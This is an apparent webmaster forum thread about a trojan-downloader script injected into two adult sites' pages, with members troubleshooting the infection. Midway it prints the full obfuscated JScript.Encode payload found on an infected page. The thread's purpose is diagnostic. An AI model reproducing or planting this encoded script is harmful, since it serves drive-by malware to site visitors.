Originally posted by Germes
Shemp, it is traffic-shop hosting, they redirect a few percents of traffic
Shemp, it is traffic-shop hosting, they redirect a few percents of traffic
-
guess I should have read more of the posts before replying to Shemp's post lol ;)ICQ: 16544251 - Skype: gator37 @ eastlink.ca - email: yngwie @ isys.ca -
-
Shemp, did you get me right?
That is host who redirects traffic.
You webmaster may be doesn't know about redirection, just recommend him to move site to another host.
fusionx, there are too many trojan.downloader versions, but as far as I could remember, second file (even if it is downloaded from the same URL) is another file, second file opens a few ports on your comp and it is ready to download and run ANY PROGRAM.
Downloaded programs do the rest.Comment
-
Tommy from Tommy's Bookmarks was recently having a similar problem.
Nothing seemed to show up for him but a lot of other people were seeing it.
I'm not sure what he did to get rid of it.Left intentionally blank ... just like my brainComment
-
i got you...Originally posted by Germes
Shemp, did you get me right?
That is host who redirects traffic.
You webmaster may be doesn't know about redirection, just recommend him to move site to another host.
we don't allow free hosts for preferred submitters...
the webmaster must have complete control of the domains.
thats part of the agreement of getting a submit account with us..Comment
-
Remove all the j/s cause they fuckers will exploit itOriginally posted by The Other Steve
Tommy from Tommy's Bookmarks was recently having a similar problem.
Nothing seemed to show up for him but a lot of other people were seeing it.
I'm not sure what he did to get rid of it.Comment
-
I'm running zonealarm on that box, and I just tightened it up. I'll check it for a while and see if anything is trying to get in or out.Originally posted by Germes
fusionx, there are too many trojan.downloader versions, but as far as I could remember, second file (even if it is downloaded from the same URL) is another file, second file opens a few ports on your comp and it is ready to download and run ANY PROGRAM.
Downloaded programs do the rest.Comment
-
fusionx, you have to let it download second program first, but it is dangerous.
Shemp, ok, understand, good rule.Comment
-
so snakes server is hacked ?
or how the hell did that thing get there ?
man this is scary"where ever you go..there you are."Comment
-
My server hasn't been hacked. I don't get the code, I think it's a jscript exploit that take advantage of certain browsers. But I'm still looking into it.Comment
-
I got a virus on my laptop, and I can't get rid of it! And now I can't not surf, and my wireless connection is totally inexisting (not even showing up on Network Connections screen).
This fucking sucks!!! And they are chasing spammers? WTF?PornGuy skype me pornguy_epic
AmateurDough The Hottes Shemales online!
TChicks.com | Angeles Cid | Mariana Cordoba | MAILERS WELCOME!Comment
-
Sorry, Snake, but I see this code if I download your page without any browser, so it cannot be problem of certain browsers
GoLiaT,
or snakesworld was hacked,
or his hosting provider was hacked,
or (only in theory) he inserted this code himself.Comment
-
What url are you downloading and what methodOriginally posted by Germes
Sorry, Snake, but I see this code if I download your page without any browser, so it cannot be problem of certain browsers
GoLiaT,
or snakesworld was hacked,
or his hosting provider was hacked,
or (only in theory) he inserted this code himself.
are you using (wget, or something else?). I'd like to see
if i can duplicate from here.
- Thanks,
jpokerhttp://www.bigboobdreams.com
Big Juicy Healthy BoobsComment
-
If it was hacked don't you think I would be able to see the code? I haven't seen it yet on any of my pages.
I did see it on Pornno.com though so I'm stil trying to figure out why I can see it on his page and not mine.
Any tech genius' want to throw in a couple cents?Comment
-
This is the source I got at the bottom of the aforementioned 'links' page:
<SCRIPT LANGUAGE="JScript.Encode">#@~^5Q0AAAhahahaha@&@&@&-mD,wWai@&-lMP;w^WC[Ni@&-lMPW(%I@&7lMP8E.sp@&-lM~tbN[n q:LI@&\CD,OKYC^W(Li@&@&6;x1YrW P$C9ADKA/D`*@&`@&ik6`Ul-rTlOWM lawHCs+"xEtk^DKdK0O,q Y+MxOPA62VKDn.r#@&i7DYEMU~Fp@&ikW`ZUm\romOWMR^GK 3kn3 l8V[*@&7iDYEMx,qi@&P~P,P~~,k0vUl7komOGDcw^lO0G.s"xJqr x2 Eb@&PP~~,P~Pi.Y;Mx,Fi@&P,~P,P~Pb0cUm\kTCYKDR!dnDz oxORrU9+ar6cJt?(3,*RXE*'xO8~L[~ l7komYK.R!/nDzonUDRk [+Xr0vE\?&2,v Jbx{Oq#@&~P,P~~,Pd.nDE.x,qp@&7b0vNW1EsnxDR^WK3rnck x9n6}0`rhdka'+6E#@*R8#@&di.+DE.U,Fi@&N@&@&;w^GmNn9 '~lN~DKA/Dc#p@&@&@&b0`e;w^Wl9n[#@& @&d8E.s{J4YD2)JzAASRDG^0XdwK. wC^l1+R1Ws&l9z8l xn.kz O*!+z%y*T*Jbx[WAd`w[lDnJ3`\CDtR.C NG:vb3J~r#c/E(/D.`y~X#3J nX+Jp@&8@&@&0!U^YbW PrxrOaW2`*@& @&P~~,PP~~b0c"aGa#@&,P,PP,P,`@&,P~P,P~7aWw{Ak NWS ^DlD+KW2;a`bi@&7\mD~G~WNz~{P2Wa 9W^!:xYc4K[Xp@&@&@&,P~~,PP,2WaRNK^;:xDR8o/G^W.'r8VmmVEp@&dG$KNzRkOHVnc4KDND,xPr/GVbN~8^lm0~!a6Jp@&7W~W9X /Oz^+ wKdkDkGU{Jl8dKV;YEp@&7KAKNXc/DzVRs+6Yx~r!Jp@&dKAW9z /DX^+ YG2{PE!rI@&i\C.,Y+h2p@&7Yha'v@!f&.PkYHs+{J2WkkOrK x)MnVmYk7nIJ@*@!mP4DnW{Jv_r:-rPGU~VE.xEwCDUDR[Km!:+ YcL+D2s+s+UO~Xq9c-rk{6.C:-r# /Oz^+ \bdk(ksrDX'wE4k[NU'Jv,Jp@&dD+s2_{@&EW HG;k+r!O'ENW1;h+ YconY3s:nxD$X&NcwrmVrn YwJ* kYz^+c\kkk(rVbYz''J4r9N+ wJEP-@&6UHKEk+6\n.{B[W1;:xO T+Y3s:nxD$Hq[v-rmVb+ O-r# /DXsnc\kkr4bVkDzx-r\b/r4sn'JvP'@&W HG;k+fGA 'vwm.xOcNKmEs+ ORT+O2^+hn YAH(Nv-JbmWDm:-E# dDXs+c-kkk8r^kYzx'J-kkr(Vn'JpwlM+ ORaW2RktGAvF~8SFBF#p2CDxDR;wsGmNnN{qial.n YR9G;Vrm0c*iv@*P'@&q'@&@!9qjP~qG'wE1VkUY'JPUPeSA' 'J-kdr(kskDz)4k[[xi~2K/rYbG )C(/KVED+p~YKwlOy*I~^+0DlOy*i'E@*-@&@!b:LPUG1l^t~4KD[nM'F~dDXs+{wrhr9Y4'*Z!aai4+roDtxXZ!wXIP1EDkG.)4l NI-E~9XU/M^''JEQ(EDsQr-EP@*@!JNr7@*@!zl@*@!J[k7@*Ei@&@&@&~,PP,~P,WAK[zRbx +.CP\d'O+s2i@&P~~,PP~7)@&N@&@&W!x^DkKxP1VCxv#@& @&d;2^Wl9nN{Fi@&~~P,P,P~kWcaW2#@&~P,P~~,Pd2GaR4k9n v#I@&8@&@&k6`e;w^WCNNb@&P@&P,~P,PP,rUkDwKwc#I@&ih rx9GhcWU80W.n!xsWm[{msl i@&)@&@&@&0!x^YbWU~GWZ^rm0`#@&`@&P,P,P~P~[Km;:UYcmGG0k+xEs/rw{Xi~alDt'Ji,n6ak.+k'\G ~P2qPG+m,+T!lPy&l*1ll,~j:/iri@&7Skx[GSRd+DPb:nKED`BK4N m^k^3v#IvB&!Zbi@&8@&@&W;x1YbWUPd4Kh2Wac#@& @&~,PP~~,Pr0v;aVGmNN#@&P,~P,P~PiDnO!Dxp@&P,PP,~~P K4N'AkU[Kh +7nxDRd.12VnhxOi@&~,P~,P,Pk6`e2Wa#@&P,P~~,PPP@&P, PP,~~Pik kOwG2v#I@&,~P,P~~i8@&@&7aW2Rk4KhcSk NWSR-+ Y /1Dnn (~Srx9Whcn-+ Yc/^Dnn 5SFBq#p@&7[KmEhn Y oOAVns+ YAHq9cJb{WDm:nE*R/DzVRVWO'Sk NGh n7+UYcdmM+nUoOhrU9WARk^M+n S0Y NK^Es+UYc4G[HRm^r+ YSWO_9W1Eh+UOc4GNH /1DGs^S+WOp@&7NK^!:n Yco+D2^n:xOAHq[crk{6.ls+J* dYHVROW2xSkUNKAR\nUDR/^.+U5 Abx[Khc/mM+UKKwRNKm;hxYc8W9XR1sr+ Y:W2_[G1Eh+ OR(W[zc/m.G^VPWaI@&8@&@&@&6Ex1YbGx,?nYzVs37+xDd`*@& @&rW`aWaR[W^;s+UYc.+mNzjDlYnx{J^Ws2^+OJ,[[,YKOl^W8Le'[G1E:UYclV^ s+ oDtb@&`@&iYGYmsW(Lx[KmEhn Y l^scVn oDti@&d6GDvk~',!I~bP@!,[W1E:UORmV^Rs+ULDtIPbQ_* @&7,PPrWvNGm!hxOcl^V`b#cOlT1C:'xEzJPL'P9Wm!hnxDR mVs`rbck["{Em^knUDmlssr#@&di[Km;s+ YRmV^ck*RGxsW;d:W7n'ktWS2Gwp8@&8@&ddnDKr:GED`Ej YbssA\nxDdv#Ir~,c!Z#p@&8@&@&r0v";2^Wl9nN*@& @&7d+DKb:nW;OvJj+D)V^2-n Y/cbpJSPWTZ#I@&dSkx9WS /YPks+G;D`BSrx9Whc[n0mE^YjYCO!/xJ,EBB TTZ#i@&@&iNGm!hxOchMkY`E@!Nb\~PbNxr|0Dmh+,xlsnxk |0Mlh+~~UKeSAxJ7kdr(kVrOH)4k9[xIaWkkYbW ll(/GV!YnIDWw{Ti^+0DxTiSk9Y4)qI4+ro4O)8iG-D0sGS)4k9[xE@*@!b0Dm:~0Mlh+(W.[D'rqJ,xlsnxJ1Vb+UYW.m:nJ,rN{J^sb+xOWMlh+r~,/OHV'JaWkrYbWU)M+sCDk\IYKw' +X!pV0O'R*W!Ihb[Y4){TZitnrTtO)FTZiE@*@!Jk0Mlsn@*@!z[k7@*vbp@&d9Gm!:+ O hMkD+cB@!C,0GV9nD{Jd4VVldDl.Y!2rPOmDT+Y{J1skxO0M lhnrPk9xJ1VkUOmmV^J~/Oz^+xJ7r/b4rsbYXl4bN[+ I9kdaVmX) W ni(+4l7kG.=ED^ca9+0m;sY[b m4W./^k^3*IJ@*@!&C@*B#I@&iNGm!hxOcoY2^+snxDAzq9`E^^k+ OmmVVrb m^k13c#I@&iNGm!h+ Y AMkYncE@!r0MCs+~kD1'Jm4K;Y=4sl 3E~kYX^n'r\kkr8k^kDXltr[9+Ui9r/aVCz=xWUnpJ@*@!Jr6DCs+@*B#p@&)@&@&bVoEAAhahahaha^# ~@</script>Comment
-
I just did a wget from one of my unix server to http://www.snakesworld.com/links.html
and i don't see any of this code.
- Fhttp://www.bigboobdreams.com
Big Juicy Healthy BoobsComment
-
jpoker,
In any UNIX shell run command
telnet www.snakesworld.com 80
You will see something like this:
Trying 64.158.30.220...
Connected to 64.158.30.220.
Escape character is '^]'.
Then type something like this:
GET /links.html HTTP/1.0
Host: www.snakesworld.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Accept: */*
Connection: close
And press "Enter" twice
And you will see page source code.
Snake, no I do not think so.
Have you turned off cookies?
Which IP-addresses did you use to see your page?
From how many computers did you try to do it?Comment
-
-
i don't believe it - snake registered for GFY before I did!!!!!!!!!!!!!
hey snake - get into vegas a day early - 2:30pm jan 3 is the TGP VIP party this yearThis dog, is dog, a dog, good dog, way dog, to dog, keep dog, an dog, idiot dog, busy dog, for dog, 20 dog, seconds dog!
Now read without the word dog.Comment
-
that doesnt mean he couldnt do it. besides... i dont think anyone doubted that his site was hacked.Originally posted by SleazyDream
i don't believe it - snake registered for GFY before I did!!!!!!!!!!!!!
I host with VacaresComment
-
i believe he did - i was just amazed by it as he doesn't post here much.Originally posted by beemk
that doesnt mean he couldnt do it. besides... i dont think anyone doubted that his site was hacked.
snake runs a clean site and has NEVER screwed his surfers around, EVER. he's a straight up honest awesome guy I stand behind 100%This dog, is dog, a dog, good dog, way dog, to dog, keep dog, an dog, idiot dog, busy dog, for dog, 20 dog, seconds dog!
Now read without the word dog.Comment
-
comes up clean for meComment
-
Originally posted by fusionx
I was able to download it, but it downloaded as a 0 (zero) byte file.
I have about 20 of them in my temp files directory. They are 9kb in size.
I copied it to an old machine and ran it just for fun.
All it did was open a URL in my browser to download the same file. (same URL at rockys).
Nothing new is running in system processes. I'm running a full scan with norton, and I'll also run one with AVG and AdAware just to check.
I'm not at all sure what it's supposed to be doing.
According to Symantec, the class "trojan horse" is just a generic label when they don't really know what it is. The classification is based on behavior, not contents.
It seems pretty harmless, so far. Just a pain in the butt.
look in your startup folderhatisblack at yahoo.comComment
-
Crap, I got the prompt too and I just spent 2 days reformatting this computer from the last shit I sucked in. Do I have another virus?Originally posted by SmokeyTheBear
look in your startup folder
Snake, nortons goes off for me to on your page.Comment
-
Wtf is this bullshit. I didnt put anything on my site, and of course I cant see it either.
Now to figure out how to get rid of this shit.
JJJComment
-
spywareOriginally posted by cosis
I was submitting galleries today and noticed a Trojan virus detected when loading both the main pages on pornno.com and snakesworld.com. I consider my computer pretty secure. Anyone else noticing this?Comment
-
This makes me wonder how many peoples sites are exploited, or machines for that matter.
I surf TGP's all the time looking for galleries and stuff and get popups and virus attempt, exploits and whatever all the time.AKA - ClubsexyComment
-
exactlyOriginally posted by FilthyRob
This makes me wonder how many peoples sites are exploited, or machines for that matter.
I surf TGP's all the time looking for galleries and stuff and get popups and virus attempt, exploits and whatever all the time.Comment
-
couldn't the hacker check the ftp logs, and see what ip snake logs in from, and make sure any ip from that block sees the normal pageComment
-
I dont get this code on either site. They both come up clean for me.Comment
-
JJJ, may be you can read own pages better.
Tell us please, what do you see on your main1.html page (via ftp or telnet) between
<FONT color=#000000 size=6>Asians</FONT></A>
and
<P>
<FONT color=#ff0000 face=arial size=4>
Snake, when you write "There is no code on my pages between the area you mentioned", do you read your page source via browser or directly from your server via ftp or telnet? I asked what do you see via ftp or telnet.
bigdog, yes, of course he couldComment
-
Steve, I do not see this code any more too.
So I hope we will hear from Snake and JJJ what did they do to stop it.Comment
-
I am not seeing it either on both sites, I would have your host investigate how this happened.Comment
-
can't see shit here, maybe only certain ip ranges get the exploit code?Comment
-
OK, problem solved. Now I can go about my business. No details but there was a problem on my server and I assume JJJ"s also. Everything should be clean and back to normal.
Thanks for all the help!Comment
-
Snake, did I get you right?
You do not want to help the others who can get the same problem in the future?
Why cannot you tell us how did you get this trojun installer onto your page?Comment
-
Is there anyone that still gets this when visiting my main page?
http://www.pornno.com/main1.html
I am not sure this problem has been corrected for sure on my site.
JJJComment
-
this hacker shit is getting out of handComment
Comment